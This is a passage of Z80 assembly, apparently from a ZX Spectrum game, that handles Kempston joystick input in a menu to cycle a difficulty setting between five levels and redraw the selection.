sub (hl) sub 20 jr c,input_loop menu_change_direction: ld a,b ld (menu_last_direction),a ld a,(23672) ld (menu_last_direction_frame_count),a ld hl,difficulty ld a,b bit 3,a jr nz,menu_kempston_joy_up bit 2,a jr nz,menu_kempston_joy_down jr input_loop menu_kempston_joy_up: ld a,(hl) dec a jp p,unselect_current_difficulty ld a,4 jp unselect_current_difficulty menu_kempston_joy_down: ld a,(hl) inc a cp 5 jr nz,unselect_current_difficulty xor a unselect_current_difficulty: ld d,a push de ld b,(hl) inc b call select_difficulty ; Select new difficulty pop af ; Store new difficulty ld hl,difficulty ld (hl),a ld b,a inc b call select_difficulty jp input_loop